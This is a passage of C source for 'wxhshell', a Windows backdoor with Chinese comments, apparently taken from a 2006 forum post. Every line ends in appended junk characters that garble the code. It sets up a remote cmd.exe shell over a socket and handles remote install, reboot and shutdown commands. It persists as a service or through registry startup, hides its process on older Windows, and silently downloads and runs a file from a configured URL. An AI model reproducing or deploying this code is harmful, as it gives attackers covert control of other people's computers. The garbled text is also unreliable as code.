  case '?': { lR9~LNK?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); abVz/R/o  
    break; Y`x54_32  
  } f[b x|6  
  // 安装 e"sz jY~V  
  case 'i': { cS'|c06  
    if(Install()) Yzr|Z7r q}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XA$Z 7_gu3  
    else b\U p(]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0^DsP  
    break; iYyJq;S   
    } BtZycI  
  // 卸载 8u401ddg  
  case 'r': { l9%oKJ;  
    if(Uninstall()) qOV6Kh)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pErre2fS  
    else ,MtN_V-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4%j   
    break; )i;o\UU  
    } 5Z`9L| 3d  
  // 显示 wxhshell 所在路径 \*5_gPj!d  
  case 'p': { AvN\^ &G  
    char svExeFile[MAX_PATH]; q0oNRAvn"  
    strcpy(svExeFile,"\n\r"); },2mIit(  
      strcat(svExeFile,ExeFile); } h.]sF  
        send(wsh,svExeFile,strlen(svExeFile),0); "Zh6j)[o  
    break; c&Mci"n j0  
    } Iaq7<$XU  
  // 重启 k lRS:\dW  
  case 'b': { K'`N(WiL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dt9[uyP&  
    if(Boot(REBOOT)) azj:Hru&t#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z"# /,?|3@  
    else { 6+MZ39xC  
    closesocket(wsh); gZFtV  
    ExitThread(0); H^N@fG<*dh  
    } Z.Sq5\d  
    break; kO]],Vy`  
    } @ y (9LSs  
  // 关机 6<h?%j(  
  case 'd': { v\Y362Xv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6%K,3R-d  
    if(Boot(SHUTDOWN)) !;YmLJk;hN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \` |*i$  
    else { <fJ*{$[p  
    closesocket(wsh); $_6DvJ0  
    ExitThread(0); =)B@`"  
    } }NQ {S3JW  
    break; QT;mCD=OD  
    } /A U& X  
  // 获取shell $6ZO V/0  
  case 's': { p~T)Af<(  
    CmdShell(wsh); xp395ub6  
    closesocket(wsh); X0=#e54  
    ExitThread(0); ;OlC^\e  
    break; !,#42TY*X  
  } t\hvhcbL  
  // 退出 \X=?+| 9  
  case 'x': { Z2yZz:.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >g+ogwZ  
    CloseIt(wsh); xwwy9:ze*l  
    break; J~0_  
    } >-s\$8En'  
  // 离开 *Ge2P3  
  case 'q': { D (MolsKc?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?lh `>v  
    closesocket(wsh); 6#/Riu%  
    WSACleanup(); L}bS"=B[&W  
    exit(1); -?A,N,nnX  
    break; 2d,q?VH$  
        } je^!W?U4<  
  } k{/2vV[`]  
  } {xm^DT  
tN' -4<+  
  // 提示信息 R "S,&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~aK@M4  
} %)7HBj(*J  
  } 'J&&F2O%  
.=WsB@+   
  return; KJ Gh)  
} Z:l.{3J$  
\}0J%F1  
// shell模块句柄 L{K:XiPn  
int CmdShell(SOCKET sock) {2`:7U ~|  
{ 1M|DaAI  
STARTUPINFO si; 4s?x 8oAy  
ZeroMemory(&si,sizeof(si)); -r9G5Z!|n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;%r#p v~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QRs!B!Fn0  
PROCESS_INFORMATION ProcessInfo; jP{LMmV  
char cmdline[]="cmd"; C3Mr)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5B [kZ?>  
  return 0; a'f0Wv0%"  
} @za X\  
26fbBt8nP  
// 自身启动模式 #C+""qm  
int StartFromService(void) 0hTv0#j#  
{ >&K1+FSmyJ  
typedef struct x)M=_u2 _  
{ T{1Z(M+  
  DWORD ExitStatus; $V$|"KRcs  
  DWORD PebBaseAddress; Sm;EWz-?  
  DWORD AffinityMask; hadGF%> O6  
  DWORD BasePriority; s6k,'`.  
  ULONG UniqueProcessId; 6~Y-bn"%D5  
  ULONG InheritedFromUniqueProcessId; sK~d{)+T  
}   PROCESS_BASIC_INFORMATION; &J~vXk: !  
YYrXLt:  
PROCNTQSIP NtQueryInformationProcess; ;dt&* ]wA  
_y Q*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l4oI5)w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @\,WJmW  
V j\1 HQ  
  HANDLE             hProcess; .6Swc?  
  PROCESS_BASIC_INFORMATION pbi; &8R%W"<K  
g{&a|NU^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H\tz"<*``  
  if(NULL == hInst ) return 0; B_w;2ZuA  
zi~_[l-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "Jw6.q+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;eznONNF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dp 0   
_w+ix9Fr?  
  if (!NtQueryInformationProcess) return 0; 2| u'J  
a9 =,P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r2A(GUz  
  if(!hProcess) return 0; m2[q*k]AtS  
v~>^c1:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =F2e*?a3  
FL 5u68  
  CloseHandle(hProcess); -Dw qoWZ  
4&IBNc,sn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OczVObbS  
if(hProcess==NULL) return 0; "x&hBJ  
e-;$Iv  
HMODULE hMod; ag*RQ  
char procName[255]; eR.ucTji  
unsigned long cbNeeded; >Z k$q~'+  
Km2ppGLNn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pEIc ?i*  
rf"%D<bb  
  CloseHandle(hProcess); unqX<6hu  
uX*H2"A  
if(strstr(procName,"services")) return 1; // 以服务启动 %\?2W8Qv_J  
KQ<pQkhv  
  return 0; // 注册表启动 ,?;q$Xoi  
} riqvv1Nce  
7_ g}t!b`  
// 主模块 ;\=W=wL(  
int StartWxhshell(LPSTR lpCmdLine) hv 18V>8  
{ yyJ4r}TE  
  SOCKET wsl; %of#VSk  
BOOL val=TRUE; olzP=08aaV  
  int port=0; HVzG }r(J  
  struct sockaddr_in door; :&Xy#.un  
CK1Xdyf_S  
  if(wscfg.ws_autoins) Install(); 6y&d\_?Y  
(9x8,f0z  
port=atoi(lpCmdLine); CW>f;  
{.2A+JT,  
if(port<=0) port=wscfg.ws_port; n|F$qV_p\  
HqXaT6#/  
  WSADATA data; L_uliBn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O#Ab1FQn  
\?)@ #Qs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6P;JF%{J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N<ww&GXBX  
  door.sin_family = AF_INET; _@0>y MZ^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e"^* ~'mJ  
  door.sin_port = htons(port); l+S08IZ  
^+cf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b@@`2O3"  
closesocket(wsl); 6R% I)  
return 1; X_XeI!,b  
} IGs!SXclCs  
UX=JWb_uGm  
  if(listen(wsl,2) == INVALID_SOCKET) { 'S<ebwRd=  
closesocket(wsl); TfK$tTkM  
return 1; N?0T3-/K  
} ?1 $.^  
  Wxhshell(wsl); @qH{;  
  WSACleanup(); H"f%\'  
?g2Wu0<  
return 0; Gc}d#oo*k  
>(EMZ5  
} :M(%sv</  
O [GG<Um  
// 以NT服务方式启动 <\@JbL*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Kxb_9y0`r  
{ DPI iGRw  
DWORD   status = 0; niY9`8  
  DWORD   specificError = 0xfffffff; ='<0z?Af  
rWI6L3,i+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L}CjC>R!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cMxTv4|wui  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; knZee!FA7  
  serviceStatus.dwWin32ExitCode     = 0; g&;:[&% T]  
  serviceStatus.dwServiceSpecificExitCode = 0; "Q]`~u':  
  serviceStatus.dwCheckPoint       = 0; T:S+P t~  
  serviceStatus.dwWaitHint       = 0; 3=V79&  
lil1$K: i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bY7d  
  if (hServiceStatusHandle==0) return; D]resk  
5=/H2T!F  
status = GetLastError(); i[A$K~f  
  if (status!=NO_ERROR) ,o\v umx  
{ !u@e^J{Ao  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fLl~a[(5  
    serviceStatus.dwCheckPoint       = 0; ai[st+1  
    serviceStatus.dwWaitHint       = 0; WP7*Q:5  
    serviceStatus.dwWin32ExitCode     = status; }; !S2+  
    serviceStatus.dwServiceSpecificExitCode = specificError; GMRw+z4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `yJpDGh  
    return; !]7r>NS>  
  } 7a 4G:  
W\gu"g`u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KOVGwEj  
  serviceStatus.dwCheckPoint       = 0; n%? bMDS  
  serviceStatus.dwWaitHint       = 0; HkFoyy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Z2?dhS  
} :Zl@4}  
u-0-~TwD  
// 处理NT服务事件,比如:启动、停止 @D&VOJV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qp~O!9ph  
{ 0dA'f0Uy\X  
switch(fdwControl) zl\mBSBx"  
{ (gZKR2hO  
case SERVICE_CONTROL_STOP: b&X- &F  
  serviceStatus.dwWin32ExitCode = 0; >8+:{NW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j-@3jFu  
  serviceStatus.dwCheckPoint   = 0; fEF1&&8^  
  serviceStatus.dwWaitHint     = 0; j u`x   
  { x;2tmof=L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{maE ,  
  } 4~=/CaG~  
  return; V9qA.NV2  
case SERVICE_CONTROL_PAUSE: ,[ &@?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [f,; +Ze  
  break; ZW n j-  
case SERVICE_CONTROL_CONTINUE: 8.bIP ju%v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W>+\A"  
  break; E$dPu  
case SERVICE_CONTROL_INTERROGATE: rkh+$*t@i7  
  break; :hB/|H*=  
}; 5%j !SVW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `)$'1,]u  
} G4][`C]8c  
:786Z,')  
// 标准应用程序主函数 { [ QCuR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zts%oIgV  
{ HM ;9%rtO  
+]P? ?`,R;  
// 获取操作系统版本 1>bG]l1//  
OsIsNt=GetOsVer(); f"j~{b7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u*0Ck*pZ  
OI</o0Ca  
  // 从命令行安装 1TeYA6 t  
  if(strpbrk(lpCmdLine,"iI")) Install(); jFfuT9oId  
)e`$'y@L$  
  // 下载执行文件 qB PUB(  
if(wscfg.ws_downexe) { D9^.Eg8W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "HSAwe`5jU  
  WinExec(wscfg.ws_filenam,SW_HIDE); A46z2  
} WVlyR\.  
GF[onfQY7  
if(!OsIsNt) { v1wMXOR  
// 如果时win9x,隐藏进程并且设置为注册表启动 !2>MaV1,  
HideProc(); ^3?]S{1/#  
StartWxhshell(lpCmdLine); 1 i # .h$  
} <hazrKUn  
else + >?"P^  
  if(StartFromService()) x TEDC,B  
  // 以服务方式启动 F3j#NCuO=z  
  StartServiceCtrlDispatcher(DispatchTable); /f2HZfj  
else CU'$JF  
  // 普通方式启动 [;yEG$)K  
  StartWxhshell(lpCmdLine); p\T.l <p  
@%mJw u  
return 0; =z`GC1]bL  
}
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只看该作者 1 发表于: 2006-10-10
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